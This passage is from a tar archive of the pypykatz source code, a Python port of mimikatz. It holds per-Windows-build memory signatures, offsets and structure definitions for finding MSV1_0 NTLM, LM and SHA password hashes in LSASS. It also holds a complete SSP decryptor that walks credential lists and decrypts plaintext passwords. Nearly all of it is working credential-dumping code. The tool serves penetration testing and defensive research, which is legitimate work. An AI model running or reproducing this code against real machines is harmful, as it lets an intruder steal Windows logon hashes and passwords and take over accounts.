WindowsBuild.WIN_10_1507.value: template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_DEC elif sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC elif sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_DEC else: template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC template.log_template('decrypted_credential_struct', template.decrypted_credential_struct) if sysinfo.architecture == KatzSystemArchitecture.X64: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8' template.first_entry_offset = -4 template.offset2 = 0 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8' template.first_entry_offset = -4 template.offset2 = -45 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.signature = b'\x33\xff\x45\x85\xc0\x41\x89\x75\x00\x4c\x8b\xe3\x0f\x84' template.first_entry_offset = 21#-4 template.offset2 = -4 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x33\xf6\x45\x89\x2f\x4c\x8b\xf3\x85\xff\x0f\x84' template.first_entry_offset = 19 template.offset2 = -4 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: if sysinfo.msv_dll_timestamp > 0x60000000: # new win2012 update weirdness template.list_entry = PKIWI_MSV1_0_LIST_63 template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05' template.first_entry_offset = 34 template.offset2 = -6 else: template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' template.first_entry_offset = 16 template.offset2 = -4 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05' template.first_entry_offset = 36 template.offset2 = -6 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1703.value: #1503 and 1603 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' template.first_entry_offset = 16 template.offset2 = -4 elif WindowsBuild.WIN_10_1703.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value: #1703 template.signature = b'\x33\xff\x45\x89\x37\x48\x8b\xf3\x45\x85\xc9\x74' template.first_entry_offset = 23 template.offset2 = -4 elif WindowsBuild.WIN_10_1803.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value: #1803 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74' template.first_entry_offset = 23 template.offset2 = -4 elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value: template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' template.first_entry_offset = 23 template.offset2 = -4 elif WindowsBuild.WIN_11_2022.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2023.value: #20348 template.signature = b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74' template.first_entry_offset = 24 template.offset2 = -4 else: template.signature = b'\x45\x89\x37\x4c\x8b\xf7\x8b\xf3\x45\x85\xc0\x0f' template.first_entry_offset = 27 template.offset2 = -4 elif sysinfo.architecture == KatzSystemArchitecture.X86: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\xff\x50\x10\x85\xc0\x0f\x84' template.first_entry_offset = 24 template.offset2 = 0 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd' template.first_entry_offset = -11 template.offset2 = -43 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd' template.first_entry_offset = -11 template.offset2 = -42 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x8b\x45\xf8\x8b\x55\x08\x8b\xde\x89\x02\x89\x5d\xf0\x85\xc9\x74' template.first_entry_offset = 18 template.offset2 = -4 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x8b\x4d\xe4\x8b\x45\xf4\x89\x75\xe8\x89\x01\x85\xff\x74' template.first_entry_offset = 16 template.offset2 = -4 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value: template.signature = b'\x8b\x4d\xe8\x8b\x45\xf4\x89\x75\xec\x89\x01\x85\xff\x74' template.first_entry_offset = 16 template.offset2 = -4 else: raise Exception('Could not identify template! sysinfo.buildnumber: %d' % sysinfo.buildnumber) else: raise Exception('Unknown Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber)) return template class MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC: #this structure doesnt have username nor domainname, but has credentials :S #starts with size = 0x60 def __init__(self, reader): self.unk1 = USHORT(reader).value self.unk2 = USHORT(reader).value self.unk_tag = reader.read(4) #0xcccccc self.unk_remaining_size = ULONG(reader).value #0x50 reader.read(40) self.LengthOfNtOwfPassword = ULONG(reader).value self.NtOwfPassword = reader.read(16) self.LengthOfShaOwfPassword = ULONG(reader).value self.ShaOwPassword = reader.read(20) self.LogonDomainName = None self.UserName = None self.LmOwfPassword = None self.isNtOwfPassword = None self.isLmOwfPassword = None self.isShaOwPassword = None class MSV1_0_PRIMARY_CREDENTIAL_DEC: def __init__(self, reader): self.LogonDomainName = LSA_UNICODE_STRING(reader) self.UserName = LSA_UNICODE_STRING(reader) self.NtOwfPassword = reader.read(16) self.LmOwfPassword = reader.read(16) self.ShaOwPassword = reader.read(20) self.isNtOwfPassword = BOOLEAN(reader).value self.isLmOwfPassword = BOOLEAN(reader).value self.isShaOwPassword = BOOLEAN(reader).value class MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC: def __init__(self, reader): self.LogonDomainName = LSA_UNICODE_STRING(reader) self.UserName = LSA_UNICODE_STRING(reader) self.isIso = BOOLEAN(reader).value self.isNtOwfPassword = BOOLEAN(reader).value self.isLmOwfPassword = BOOLEAN(reader).value self.isShaOwPassword = BOOLEAN(reader).value self.align0 = BYTE(reader).value self.align1 = BYTE(reader).value self.NtOwfPassword = reader.read(16) self.LmOwfPassword = reader.read(16) self.ShaOwPassword = reader.read(20) class MSV1_0_PRIMARY_CREDENTIAL_10_DEC: def __init__(self, reader): self.LogonDomainName = LSA_UNICODE_STRING(reader) self.UserName = LSA_UNICODE_STRING(reader) self.isIso = BOOLEAN(reader).value self.isNtOwfPassword = BOOLEAN(reader).value self.isLmOwfPassword = BOOLEAN(reader).value self.isShaOwPassword = BOOLEAN(reader).value self.align0 = BYTE(reader).value self.align1 = BYTE(reader).value self.align2 = BYTE(reader).value self.align3 = BYTE(reader).value self.NtOwfPassword = reader.read(16) self.LmOwfPassword = reader.read(16) self.ShaOwPassword = reader.read(20) class MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC: def __init__(self, reader): self.LogonDomainName = LSA_UNICODE_STRING(reader) self.UserName = LSA_UNICODE_STRING(reader) self.pNtlmCredIsoInProc = PVOID(reader).value self.isIso = BOOLEAN(reader).value self.isNtOwfPassword = BOOLEAN(reader).value self.isLmOwfPassword = BOOLEAN(reader).value self.isShaOwPassword = BOOLEAN(reader).value self.isDPAPIProtected = BOOLEAN(reader).value self.align0 = BYTE(reader).value self.align1 = BYTE(reader).value self.align2 = BYTE(reader).value self.credKeyType = DWORD(reader).value self.isoSize = WORD(reader).value self.DPAPIProtected = reader.read(20) if bool(self.isIso[0]): self.encryptedBlob = reader.read(self.isoSize) else: self.NtOwfPassword = reader.read(16) self.LmOwfPassword = reader.read(16) self.ShaOwPassword = reader.read(20) class KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC: def __init__(self, reader): self.Flink = PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC(reader) self.Primary = ANSI_STRING(reader) reader.align() self.encrypted_credentials = LSA_UNICODE_STRING(reader) class PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC) #class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER): # def __init__(self, reader): # super().__init__(reader, PKIWI_MSV1_0_CREDENTIAL_LIST) class KIWI_MSV1_0_CREDENTIAL_LIST: def __init__(self, reader): self.Flink = PKIWI_MSV1_0_CREDENTIAL_LIST(reader) self.AuthenticationPackageId = DWORD(reader).value reader.align() self.PrimaryCredentials_ptr = PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC(reader) class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MSV1_0_CREDENTIAL_LIST) class PKIWI_MSV1_0_LIST_51(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MSV1_0_LIST_51) class KIWI_MSV1_0_LIST_51: def __init__(self, reader): self.Flink = PKIWI_MSV1_0_LIST_51(reader) self.Blink = PKIWI_MSV1_0_LIST_51(reader) self.LocallyUniqueIdentifier = LUID(reader).value self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.pSid = PSID(reader) self.LogonType = ULONG(reader).value self.Session = ULONG(reader).value reader.align(8) self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86 reader.align() self.LogonServer = LSA_UNICODE_STRING(reader) self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader) self.unk19 = ULONG(reader).value reader.align() self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = PVOID(reader).value self.unk23 = ULONG(reader).value reader.align() self.CredentialManager = PVOID(reader) class PKIWI_MSV1_0_LIST_52(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MSV1_0_LIST_52) class KIWI_MSV1_0_LIST_52: def __init__(self, reader): self.Flink = PKIWI_MSV1_0_LIST_52(reader) self.Blink = PKIWI_MSV1_0_LIST_52(reader) self.LocallyUniqueIdentifier = LUID(reader).value self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.unk0 = PVOID(reader).value self.unk1 = PVOID(reader).value self.pSid = PSID(reader) self.LogonType = ULONG(reader).value self.Session = ULONG(reader).value reader.align(8) self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86 self.LogonServer = LSA_UNICODE_STRING(reader) self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader) self.unk19 = ULONG(reader).value reader.align() self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = ULONG(reader).value reader.align() self.CredentialManager = PVOID(reader) class PKIWI_MSV1_0_LIST_60(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MSV1_0_LIST_60) class KIWI_MSV1_0_LIST_60: def __init__(self, reader): self.Flink = PKIWI_MSV1_0_LIST_60(reader) self.Blink = PKIWI_MSV1_0_LIST_60(reader) reader.align() self.unk0 = PVOID(reader).value self.unk1 = ULONG(reader).value reader.align() self.unk2 = PVOID(reader).value self.unk3 = ULONG(reader).value self.unk4 = ULONG(reader).value self.unk5 = ULONG(reader).value reader.align() self.hSemaphore6 = HANDLE(reader).value reader.align() self.unk7 = PVOID(reader).value reader.align() self.hSemaphore8 = HANDLE(reader).value reader.align() self.unk9 = PVOID(reader).value reader.align() self.unk10 = PVOID(reader).value self.unk11 = ULONG(reader).value self.unk12 = ULONG(reader).value reader.align() self.unk13 = PVOID(reader).value reader.align() self.LocallyUniqueIdentifier = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) self.SecondaryLocallyUniqueIdentifier = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) reader.align() self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.unk14 = PVOID(reader).value self.unk15 = PVOID(reader).value self.pSid = PSID(reader) self.LogonType = ULONG(reader).value self.Session = ULONG(reader).value reader.align(8) self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86 self.LogonServer = LSA_UNICODE_STRING(reader) self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader) self.unk19 = ULONG(reader).value reader.align() self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = PVOID(reader).value self.unk23 = ULONG(reader).value reader.align() self.CredentialManager = PVOID(reader) class PKIWI_MSV1_0_LIST_61(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MSV1_0_LIST_61) class KIWI_MSV1_0_LIST_61: def __init__(self, reader): self.Flink = PKIWI_MSV1_0_LIST_61(reader) self.Blink = PKIWI_MSV1_0_LIST_61(reader) self.unk0 = PVOID(reader).value self.unk1 = ULONG(reader).value reader.align() self.unk2 = PVOID(reader).value self.unk3 = ULONG(reader).value self.unk4 = ULONG(reader).value self.unk5 = ULONG(reader).value reader.align() self.hSemaphore6 = HANDLE(reader).value self.unk7 = PVOID(reader).value self.hSemaphore8 = HANDLE(reader).value self.unk9 = PVOID(reader).value self.unk10 = PVOID(reader).value self.unk11 = ULONG(reader).value self.unk12 = ULONG(reader).value self.unk13 = PVOID(reader).value self.LocallyUniqueIdentifier = LUID(reader).value self.SecondaryLocallyUniqueIdentifier = LUID(reader).value self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.unk14 = PVOID(reader).value self.unk15 = PVOID(reader).value self.pSid = PSID(reader) self.LogonType = ULONG(reader).value self.Session = ULONG(reader).value reader.align(8) self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86 self.LogonServer = LSA_UNICODE_STRING(reader) self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader) self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = ULONG(reader).value reader.align() self.CredentialManager = PVOID(reader) class PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ) class KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ: def __init__(self, reader): self.Flink = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ(reader) self.Blink = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ(reader) self.unk0 = PVOID(reader).value self.unk1 = ULONG(reader).value reader.align() self.unk2 = PVOID(reader).value self.unk3 = ULONG(reader).value self.unk4 = ULONG(reader).value self.unk5 = ULONG(reader).value reader.align() self.hSemaphore6 = HANDLE(reader).value self.unk7 = PVOID(reader).value self.hSemaphore8 = HANDLE(reader).value self.unk9 = PVOID(reader).value self.unk10 = PVOID(reader).value self.unk11 = ULONG(reader).value self.unk12 = ULONG(reader).value self.unk13 = PVOID(reader).value self.LocallyUniqueIdentifier = LUID(reader).value self.SecondaryLocallyUniqueIdentifier = LUID(reader).value self.waza = reader.read(12) reader.align() self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.unk14 = PVOID(reader).value self.unk15 = PVOID(reader).value self.pSid = PSID(reader) self.LogonType = ULONG(reader).value self.Session = ULONG(reader).value reader.align(8) self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86 self.LogonServer = LSA_UNICODE_STRING(reader) self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader) self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = ULONG(reader).value reader.align() self.CredentialManager = PVOID(reader) class PKIWI_MSV1_0_LIST_62(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MSV1_0_LIST_62) class KIWI_MSV1_0_LIST_62: def __init__(self, reader): self.Flink = PKIWI_MSV1_0_LIST_62(reader) self.Blink = PKIWI_MSV1_0_LIST_62(reader) self.unk0 = PVOID(reader).value self.unk1 = ULONG(reader).value reader.align() self.unk2 = PVOID(reader).value self.unk3 = ULONG(reader).value self.unk4 = ULONG(reader).value self.unk5 = ULONG(reader).value reader.align() self.hSemaphore6 = HANDLE(reader).value self.unk7 = PVOID(reader).value self.hSemaphore8 = HANDLE(reader).value self.unk9 = PVOID(reader).value self.unk10 = PVOID(reader).value self.unk11 = ULONG(reader).value self.unk12 = ULONG(reader).value self.unk13 = PVOID(reader).value self.LocallyUniqueIdentifier = LUID(reader).value self.SecondaryLocallyUniqueIdentifier = LUID(reader).value self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.unk14 = PVOID(reader).value self.unk15 = PVOID(reader).value self.Type = LSA_UNICODE_STRING(reader) self.pSid = PSID(reader) self.LogonType = ULONG(reader).value reader.align() self.unk18 = PVOID(reader).value self.Session = ULONG(reader).value reader.align() self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86 self.LogonServer = LSA_UNICODE_STRING(reader) self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader) self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = ULONG(reader).value self.unk23 = ULONG(reader).value self.unk24 = ULONG(reader).value self.unk25 = ULONG(reader).value self.unk26 = ULONG(reader).value reader.align() self.unk27 = PVOID(reader).value self.unk28 = PVOID(reader).value self.unk29 = PVOID(reader).value self.CredentialManager = PVOID(reader) class PKIWI_MSV1_0_LIST_63(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MSV1_0_LIST_63) class KIWI_MSV1_0_LIST_63: def __init__(self, reader): self.Flink = PKIWI_MSV1_0_LIST_63(reader) self.Blink = PKIWI_MSV1_0_LIST_63(reader) self.unk0 = PVOID(reader).value self.unk1 = ULONG(reader).value reader.align() self.unk2 = PVOID(reader).value self.unk3 = ULONG(reader).value self.unk4 = ULONG(reader).value self.unk5 = ULONG(reader).value reader.align() self.hSemaphore6 = HANDLE(reader).value self.unk7 = PVOID(reader).value self.hSemaphore8 = HANDLE(reader).value self.unk9 = PVOID(reader).value self.unk10 = PVOID(reader).value self.unk11 = ULONG(reader).value self.unk12 = ULONG(reader).value self.unk13 = PVOID(reader).value reader.align() self.LocallyUniqueIdentifier = LUID(reader).value self.SecondaryLocallyUniqueIdentifier = LUID(reader).value self.waza = reader.read(12) reader.align() self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.unk14 = PVOID(reader).value self.unk15 = PVOID(reader).value self.Type = LSA_UNICODE_STRING(reader) self.pSid = PSID(reader) self.LogonType = ULONG(reader).value reader.align() self.unk18 = PVOID(reader).value self.Session = ULONG(reader).value reader.align(8) self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86 self.LogonServer = LSA_UNICODE_STRING(reader) self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader) self.unk19 = PVOID(reader).value self.unk20 = PVOID(reader).value self.unk21 = PVOID(reader).value self.unk22 = ULONG(reader).value self.unk23 = ULONG(reader).value self.unk24 = ULONG(reader).value self.unk25 = ULONG(reader).value self.unk26 = ULONG(reader).value reader.align() #input('CredentialManager\n' + hexdump(reader.peek(0x100))) self.unk27 = PVOID(reader).value self.unk28 = PVOID(reader).value self.unk29 = PVOID(reader).value self.CredentialManager = PVOID(reader) templates_test = { #if WindowsMinBuild.WIN_XP.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: '0' : { 'signature' : b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8', 'first_entry_offset' : -4, 'offset2' : 0 }, #elif WindowsMinBuild.WIN_2K3.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: '1' : { 'signature' : b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8', 'first_entry_offset' : -4, 'offset2' : -45 }, #elif WindowsMinBuild.WIN_VISTA.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: '2' : { 'signature' : b'\x33\xff\x45\x85\xc0\x41\x89\x75\x00\x4c\x8b\xe3\x0f\x84', 'first_entry_offset' : 21, #-4, 'offset2' : -4 }, #elif WindowsMinBuild.WIN_7.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: '3' : { 'signature' : b'\x33\xf6\x45\x89\x2f\x4c\x8b\xf3\x85\xff\x0f\x84', 'first_entry_offset' : 19, 'offset2' : -4, }, # elif WindowsMinBuild.WIN_8.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: '4' : { 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', 'first_entry_offset' : 16, 'offset2' : -4 }, ## elif WindowsMinBuild.WIN_BLUE.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: #'5' : { # 'signature' : b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05', # 'first_entry_offset' : 36, # 'offset2' : -6 #}, # elif WindowsMinBuild.WIN_BLUE.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: '5' : { 'signature' : b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05', 'first_entry_offset' : 34, 'offset2' : -6 }, #elif WindowsBuild.WIN_10_1507.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1703.value: #'6' : { # 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', # 'first_entry_offset' : 16, # 'offset2' : -4 #}, '6' : { 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', 'first_entry_offset' : 34, 'offset2' : -6 }, # elif WindowsMinBuild.WIN_8.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: '7' : { #1503 and 1603 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', 'first_entry_offset' : 16, 'offset2' : -4 }, # elif WindowsBuild.WIN_10_1703.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value: '8' : { #1703 'signature' : b'\x33\xff\x45\x89\x37\x48\x8b\xf3\x45\x85\xc9\x74', 'first_entry_offset' : 23, 'offset2' : -4 }, # elif WindowsBuild.WIN_10_1803.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value: '9' : { #1803 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74', 'first_entry_offset' : 23, 'offset2' : -4 }, # elif WindowsBuild.WIN_10_1903.value <: sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value: '10' : { 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', 'first_entry_offset' : 23, 'offset2' : -4 }, # elif WindowsBuild.WIN_10_1703.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value: '11' : { 'signature' : b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74', 'first_entry_offset' : 24, 'offset2' : -4, }, }././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/ssp/0000775000175000017500000000000014647211624022045 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/ssp/__init__.py0000664000175000017500000000000014543266630024146 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/ssp/decryptor.py0000664000175000017500000000474314543266630024444 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import json from pypykatz.lsadecryptor.package_commons import PackageDecryptor class SspCredential: def __init__(self): self.credtype = 'ssp' self.username = None self.domainname = None self.password = None self.password_raw = b'' self.luid = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== SSP [%x]==\n' % self.luid t += '\t\tusername %s\n' % self.username t += '\t\tdomainname %s\n' % self.domainname t += '\t\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class SspDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Ssp', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] def find_first_entry(self): position = self.find_signature('msv1_0.dll',self.decryptor_template.signature) ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc def add_entry(self, ssp_entry): c = SspCredential() c.luid = ssp_entry.LogonId c.username = ssp_entry.credentials.Domaine.read_string(self.reader) c.domainname = ssp_entry.credentials.UserName.read_string(self.reader) if ssp_entry.credentials.Password.Length != 0: if c.username.endswith('$') is True or c.domainname.endswith('$') is True: c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader), bytes_expected=True) if c.password is not None: c.password = c.password.hex() else: c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader)) if c.username == '' and c.domainname == '' and c.password is None: return self.credentials.append(c) def start(self): try: entry_ptr_value, entry_ptr_loc = self.find_first_entry() except Exception as e: self.log('Failed to find structs! Reason: %s' % e) return self.reader.move(entry_ptr_loc) entry_ptr = self.decryptor_template.list_entry(self.reader) self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/ssp/templates.py0000664000175000017500000000452314543266630024423 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.commons.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER from pypykatz.lsadecryptor.package_commons import PackageTemplate class SspTemplate(PackageTemplate): def __init__(self): super().__init__('Ssp') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = SspTemplate() template.list_entry = PKIWI_SSP_CREDENTIAL_LIST_ENTRY template.log_template('list_entry', template.list_entry) if sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\xc7\x43\x24\x43\x72\x64\x41\xff\x15' template.first_entry_offset = 16 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\xc7\x47\x24\x43\x72\x64\x41\x48\x89\x47\x78\xff\x15' template.first_entry_offset = 20 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value: template.signature = b'\x24\x43\x72\x64\x41\xff\x15' template.first_entry_offset = 14 else: #currently this doesnt make sense, but keeping it here for future use raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: template.signature = b'\x1c\x43\x72\x64\x41\xff\x15' template.first_entry_offset = 12 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) return template class PKIWI_SSP_CREDENTIAL_LIST_ENTRY(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_SSP_CREDENTIAL_LIST_ENTRY) class KIWI_SSP_CREDENTIAL_LIST_ENTRY: def __init__(self, reader): self.Flink = PKIWI_SSP_CREDENTIAL_LIST_ENTRY(reader) self.Blink = PKIWI_SSP_CREDENTIAL_LIST_ENTRY(reader) self.References = ULONG(reader).value self.CredentialReferences = ULONG(reader).value self.LogonId = LUID(reader).value self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = ULONG(reader).value reader.align() self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/tspkg/0000775000175000017500000000000014647211624022370 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/tspkg/__init__.py0000664000175000017500000000000014543266630024471 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 